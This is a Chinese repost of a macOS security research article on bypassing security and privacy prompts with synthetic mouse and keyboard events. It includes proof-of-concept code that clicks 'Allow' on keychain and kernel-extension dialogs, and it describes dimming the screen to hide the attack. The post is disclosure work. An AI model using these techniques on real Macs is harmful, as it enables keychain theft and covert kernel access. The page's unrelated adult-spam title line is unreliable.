压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

合成的現實:輕松一點突破macOS防護

一、前言

假如我們是成功獲得Mac訪問權限的一名黑客(或者惡意軟件),我們可能會執行如下操作:

1、轉儲用戶keychain信息;

2、確定當前系統的(地理)位置;

3、枚舉用戶聯系人信息;

4、加載內核擴展(kext);

5、繞過第三方安全產品。

(對我們攻擊者而言)不幸的是,較新版的macOS上有些安全機制會阻止這些操作。現在執行這些操作時,這些安全機制將彈出警告信息。根據macOS的設計,只有用戶才能與這些警告交互,如下所示:

QQ截圖20180831134228

然而如果我們能找到一種辦法,采用編程方式或者“synthetic(合成的)”方式與這些警告窗口交互,我們就可以一舉繞過這些安全機制。也就是說,如果這種攻擊行之有效,那么UI就會成為唯一的突破口。本文將深入分析macOS上各類“合成”事件的各方面內容,從濫用這些功能的惡意軟件到現在仍未修復的0day攻擊。

注意:本文覆蓋了我最近在DefCon上的演講:“The Mouse is Mightier than the Sword”,同時包含了一些新的技術細節,請訪問此鏈接獲取完整的演講材料。

二、Synthetic攻擊簡史

采用“合成的”或者編程的方式與UI交互并不是一個創新的想法,我們可以先來看下濫用這種事件的某些惡意軟件。

注意:本節中描述的攻擊方法已不適用于較新版本的macOS,然而下文我們將介紹一些0day方法,可以適用于最新版的Apple操作系統。

OSX.FruitFly編寫于十多年前,但直到2017年初才引起人們注意。我之前寫過介紹這款惡意軟件的一份長篇白皮書(“Offensive Malware Analysis: Dissecting OSX.FruitFly.B via a Custom C&C Server”),其中提到了該惡意軟件具備生成“synthetic(合成的)”鼠標及鍵盤事件的功能:

誕生于2011年的另一款Mac惡意軟件(OSX.DevilRobber)同樣利用了這種“合成的”事件:

@noarfromspace曾提到過,這款惡意軟件會導出用戶keychain信息,通過幾個簡單的AppleScript命令繞過“keychain access”提示窗口:

廣告軟件(adware)也會利用這種“合成的”事件。比如OSX.Genieo會把自己安裝為瀏覽器擴展。然而通過代碼安裝(Safari)瀏覽器擴展的過程中會有個安全提示窗口阻止這種操作,為了完成這個任務,OSX.Genieo必須繞過這個提示窗口。這款廣告軟件如何實現這一點?只需發送一個“合成的”鼠標事件來點擊“Allow”按鈕即可!

更具體一點,如果我們(利用jtool工具)導出OSX.Genieo的方法,可以看到名為SafariExtensionInstaller的一個類:

$ jtool -d objc -v Installer.app/Contents/MacOS/AppAS

@interface SafariExtensionInstaller : ?

/* 2 – 0x1000376e1 */ + getPopupPosition;

/* 4 – 0x100037c53 */ + clickOnInstallButton;

/* 5 – 0x100037d71 */ + clickOnAllowButtonKeychain;

….

/* 8 – 0x100038450 */ + clickOnTrustButton;

來看一下clickOnInstallButton的具體行為:

char +[SafariExtensionInstaller clickOnInstallButton]{

(@selector(getPopupPosition))(&var_40);

r14 = CGEventCreateMouseEvent(0x0, 0x5, 0x0, rcx);

r15 = CGEventCreateMouseEvent(0x0, 0x1, 0x0, rcx);

rbx = CGEventCreateMouseEvent(0x0, 0x2, 0x0, rcx);

CGEventPost(0x0, r14);

CGEventPost(0x0, r15);

CGEventPost(0x0, rbx);

首先代碼調用getPopupPosition方法獲取彈出窗口的位置,然后通過CGEventCreateMouseEvent以及CGEventPost API發送一些“合成”的鼠標事件。0x5對應的是鼠標移動事件,0x1和0x2分別對應左鍵按下及松開事件。最終惡意軟件可以通過這種方式解除警報,將自己安裝為惡意瀏覽器擴展。

三、防御Synthetic事件

在最近版本的macOS上,Apple部署了各種防御措施來阻止這類“合成”攻擊。然而這些防御措施并不通用,只能保護特定的UI組件(例如某些安全性或者訪問提示窗口)。

在High Sierra系統上(可能包括較老版本的macOS),如果有人嘗試通過代碼將鼠標事件發送至訪問keychain之類的提示窗口時,操作系統會檢測到這種行為并加以阻止:

$ log show

tccd PID[44854] is checking access for target PID[44855]

tccd Service kTCCServiceAccessibility does not allow prompting; returning preflight_unknown

execution error: System Events got an error: osascript is not allowed assistive access. (-1719)

更具體一些,macOS會檢查進程在生成“合成”事件時是否已通過輔助訪問(assistive access)檢測(是的你沒猜錯,輔助訪問提示窗口也能防御這種攻擊方式):

“輔助訪問”權限只能通過手動方式賦予特定的應用,我們可以通過System Preferences(系統偏好設置)應用程序,查看已獲取該權限的應用,也可以轉儲/Library/Application Support/com.apple.TCC/TCC.db系統隱私數據庫(受SIP保護)來獲取這些信息:

如下系統日志輸出給出的信息,現在通過CoreGraphics生成的“合成”事件會被過濾及阻止(但同樣只適用于被保護的目標UI組件):

default 08:52:57.441538 -1000 tccd PID[209] is checking access for target PID[25349]

error 08:52:57.657628 -1000 WindowServer Sender is prohibited from synthesizing events

如果我們grep查找Sender is prohibited from synthesizing events,可以在某個核心庫的post_filtered_event_tap_data函數中找到這個字符串:

int post_filtered_event_tap_data(int arg0, int arg1, int arg2, …)

if (CGXSenderCanSynthesizeEvents() == 0x0) &&

(os_log_type_enabled(*_default_log, 0x10) != 0x0)) {

rbx = *_default_log;

_os_log_error_impl(…, “Sender is prohibited from synthesizing events”,…);

}

int CGXSenderCanSynthesizeEvents() {

rax = sandbox_check_by_audit_token(“hid-control”, 0x0, rdx, rdx);

在如上反編譯代碼中我們可以看到,如果CGXSenderCanSynthesizeEvents函數返回0(false或者NO)則會記錄這個錯誤消息。如果sandbox_check_by_audit_token方法調用失敗就會出現這種情況。

如函數名所示,sandbox_check_by_audit_token函數會檢查發送“合成”事件的進程是否具備hid-control權限。這個檢查過程似乎會在內核中執行,位于mpo_iokit_check_hid_control_t函數內部:

四、繞過Apple防護措施

現在我們可以戴上黑客帽子(也有可能是白帽子或者灰帽子),討論某些漏洞以及0day!

我的目標很簡單:在打全補丁的High Sierra系統中通過“合成的”方式與任何/所有UI提示框(如安全、隱私及訪問等)交互,像普通用戶那樣轉儲keychain或者加載內核擴展!

探索一番后,我發現了名為“Mouse Keys”的一個功能。

“Mouse Keys”是macOS系統中有文檔說明的一個功能,根據Apple的說法,該功能可以允許我們把鍵盤當成鼠標來使用!啟用Mouse Keys功能后,如果想將鼠標移動到右側,我們只需要按下O(或者數字鍵6)即可。如果想生成鼠標點擊事件,只需按下I(或者數字鍵5即可):

這就會引出一些問題:

1、能否通過編程方式啟動“Mouse Keys”功能?

2、“合成的”鍵盤事件能否生成可信的“合成的”鼠標事件?

這兩個問題的答案都是肯定的!

首先,我們可以使用AppleScript在代碼中打開System Preferences應用面板,面板上有個啟用”Mouse Keys“功能的復選框,然后使用CoreGraphics來發送”合成的“鼠標事件,啟用該功能:

//enable ‘mouse keys’

void enableMK(float X, float Y){

//apple script

NSAppleScript* scriptObject =

[[NSAppleScript alloc] initWithSource:

@”tell application “System Preferences”n”

“activaten”

“reveal anchor “Mouse” of pane id “com.apple.preference.universalaccess”n”

“end tell”];

//exec

[scriptObject executeAndReturnError:nil];

//let it finish

sleep(1);

//clicky clicky

CGPostMouseEvent(CGPointMake(X, Y), true, 1, true);

CGPostMouseEvent(CGPointMake(X, Y), true, 1, false);

return;

}

由于Apple只會保護某些UI組件(比如安全性警告組件)免受”合成“事件的干擾,而這些UI組件并沒有受到保護,因此我們操作起來一切順利:

在啟用”Mouse Keys“功能時,為了生成鼠標點擊事件,我們首先需要移動鼠標,然后通過AppleScript來發送”合成的“鍵盤事件。更具體一些,我們合成的是87這個鍵碼(keycode):

//click via mouse key

void clickAllow(float X, float Y)

{

//move mouse

CGEventPost(kCGHIDEventTap, CGEventCreateMouseEvent(nil, kCGEventMouseMoved,

CGPointMake(X, Y), kCGMouseButtonLeft));

//apple script

NSAppleScript* script = [[NSAppleScript alloc] initWithSource:

@”tell application “System Events” to key code 87n”];

//exec

[script executeAndReturnError:nil];
}

在啟用”Mouse Keys“時,當我們”按下“87鍵碼(對應的是數字鍵5)時(即使通過代碼方式也可以),系統就會將其轉換為一次鼠標點擊!大家可以使用我開源的SniffMK鼠標鍵盤嗅探工具來觀察這個現象:

# ./sniffMK

event: key down

keycode: 0x57/87/5

event: key up

keycode: 0x57/87/5

event: left mouse down

(x: 146.207031, y: 49.777344)

event: left mouse up

(x: 146.207031, y: 49.777344)

由于操作系統會把鍵盤事件轉化為鼠標事件,然后”傳遞“鼠標事件(點擊),這樣即便受保護的UI組件也會接受并處理這個事件!(一般來說,如果事件來源為操作系統時,這種受保護的組件會信任這些”合成的“事件)。

那么這個功能可以發揮什么作用?非常有用……比如可以轉儲或者提取用戶keychain中所有私鑰及未加密的密碼,如這個視頻所示。

我已經將這個漏洞反饋給Apple,Apple在High Sierra的增量更新中將其標記為CVE-2017-7150加以修復:

但”合成“的幽靈依然陰魂不散!

首先,我注意到各種隱私相關的警告窗口會盲目地接受這種改造后的鼠標事件(即使是在打全補丁的macOS 10.13.*環境中)。比如,在最近版本的macOS上,當代碼嘗試訪問如下數據時,系統會顯示警告窗口:

系統(以及用戶)的地理位置

用戶的聯系人信息

用戶的日程事件

其他數據

由于這些警告窗口會接受”合成的“事件,惡意軟件可以在代碼中簡單繞過限制:

//given some point {x, y}

// generate synthetic event…

CGPostMouseEvent(point, true, 1, true);

CGPostMouseEvent(point, true, 1, false);

如下PoC動圖展示了如何通過攻擊方式繞過系統警告窗口,確定用戶的地理位置:

大家可能會好奇:”既然惡意軟件可以輕松繞過,為什么Apple還堅持彈出警告窗口“?我不知道具體原因,可能他們可以給出自己的解釋。

現在還有另一個更加嚴重的問題。這個問題會導致無特權的惡意軟件或者攻擊者與”受保護的“UI組件(如High Sierra的”User Assisted Kernel Loading“(用戶輔助內核加載)接口)交互,并且這種方法也適用于打全補丁的macOS 10.6.*系統,非常糟糕。

發現這個問題源自于一次尷尬的意外,當時我想測試Apple對CVE-2017-7150的修復情況,但錯誤剪切并粘貼了一些代碼,結果意外得到了一個0day!

前面提到過我們可以通過CoreGraphics方式發送”合成的“鼠標事件,正常情況下,對于這類鼠標點擊方式,我們需要發送兩個事件:鼠標按下事件,然后是鼠標松開事件:

//given some point {x, y}

// generate synthetic event…

//final param: true => mouse down

CGPostMouseEvent(point, true, 1, true);

//final param: false => mouse up

CGPostMouseEvent(point, true, 1, false);

然而,如果有人拷貝并粘貼了第一行代碼CGPostMouseEvent(point, true, 1, true);,并且忘記把最后一個參數從true修改為false(表示鼠標松開),這樣就會生成兩次鼠標按下事件。

理論上說這么做會被系統忽略掉,然而事實并非如此。通過SniffMK工具,我們可以觀察到系統會將第二個(無效的)鼠標按下動作轉化為鼠標松開動作:

# ./sniffMK

event: left mouse down

event source pid 951

event state 0 (synthetic)

(x: 1100.000000, y: 511.000000)

event: left mouse up

event source pid 0

event state 0 (synthetic)

(x: 1100.000000, y: 511.000000)

第二個鼠標按下事件變成鼠標松開事件并不是什么大問題,問題在于這個動作由操作系統來執行,這意味著事件的source process id(源進程ID)為0(即OS/system)。我們提到過,UI(包括安全提示窗口以及其他受保護的組件)會接受來自系統(pid為0)的”合成的“事件。比如,如果發送一個典型的鼠標按下/松開事件到”User Assisted Kernel Loading“接口的”Allow“按鈕時,這些事件會被忽略掉,產生如下錯誤信息:

$ log stream | grep mouse

Dropping mouse down event because sender’s PID (899) isn’t 0 or self (828)

然而如果pid為0呢?事實上這種操作就會被允許:

非常好,現在我們已經可以通過編程方式允許加載內核擴展,即使是在打全補丁的High Sierra系統上也毫無壓力。

在OSX/macOS上,用戶總是需要以root身份才能加載這種擴展。因此這種攻擊方法能給我們帶來什么效果?或者換個說法,”User Assisted Kernel Loading“的意義何在?

在最近版本的macOS上,我們不僅需要以root身份來加載kext,同時kext還需要帶有合法簽名,而想從Apple那獲取內核的代碼簽名證書幾乎是不可能完成的任務。

然而攻擊者還可以執行如下操作(我在2016年DefCon演講上也提到過):

1、加載存在已知漏洞的第三方驅動(帶有合法簽名);

2、利用已知漏洞來內核上下文中的任意代碼執行權限。

Apple對這種攻擊方式給出的解決方案是”User Assisted Kernel Loading“,該接口要求用戶必須手動批準任意kext的加載動作,但我們剛剛才看到這種”安全“機制曾出現過問題(CVE-2017-7150),并且仍然被我們無情地打破。那么誰是受害者?那就是與攻擊者不是一類人的第三方開發者,他們只能遵循Apple制定的游戲規則來玩 ??

五、隱身性分析

使用”合成“事件的這類攻擊技術有一個明顯的缺點,那就是攻擊過程被用戶一覽無遺。

想象一下,當用戶安坐在辦公桌的Mac主機前,突然有個警告出現,而鼠標竟然會自動移動,然后點擊解除警告窗口,傻子都知道自己被攻擊了!

(對攻擊者和惡意軟件來說)幸運的是,解決辦法也非常簡單,只需要調暗屏幕即可:

當屏幕亮度變為0.0時,UI仍然”存在“并且處于活動狀態(相對比屏幕被鎖定或者屏保程序運行時)。然而,這些界面對用戶來說似乎處于”關閉“狀態,因此任何”合成“攻擊都會隱藏在用戶眼皮底下。

現在(作為攻擊者)我們需要確保找到合適的機會調暗屏幕,比如:

1、用戶一定時間沒有操作時(使用CGEventSourceSecondsSinceLastEventType API獲取這個信息);

2、當屏幕即將休眠時。

在第二種情況下,代碼可以檢測顯示器什么時候會進入休眠(通過kIOMessageCanDevicePowerOff通知)。此時程序可以將屏幕亮度快速調節為0.0,然后在屏幕休眠前快速執行各種”合成“攻擊:

六、總結

通過使用”合成的“事件,惡意軟件或者本地攻擊者可以繞過macOS內置的各種安全機制:

雖然Apple已經知道這種攻擊向量,也嘗試過保護系統中與安全和隱私有關的UI組件,但攻擊者還是簡單地打破了這個屏障。即使在打全補丁的High Sierra系統上,這種”合成式“交互操作還是非常容易,可以于無形之中繞過這類UI組件。

(對我們Mac用戶而言)好消息在于在macOS Mojave(10.14)上,這類”合成的“事件會在全局上被系統忽略掉(除非用戶顯式賦予某個應用這種權限)。雖然這種方法會影響各種合法的應用,但從安全角度來看,這又是正確的方法,所以我們就盡情享受這一點吧!

原文地址:https://objective-see.com/blog/blog_0x36.html

上一篇:推特熱點 | phpMyAdmin <= 4.7.7 CSRF分析

下一篇:從無到有打造SOAR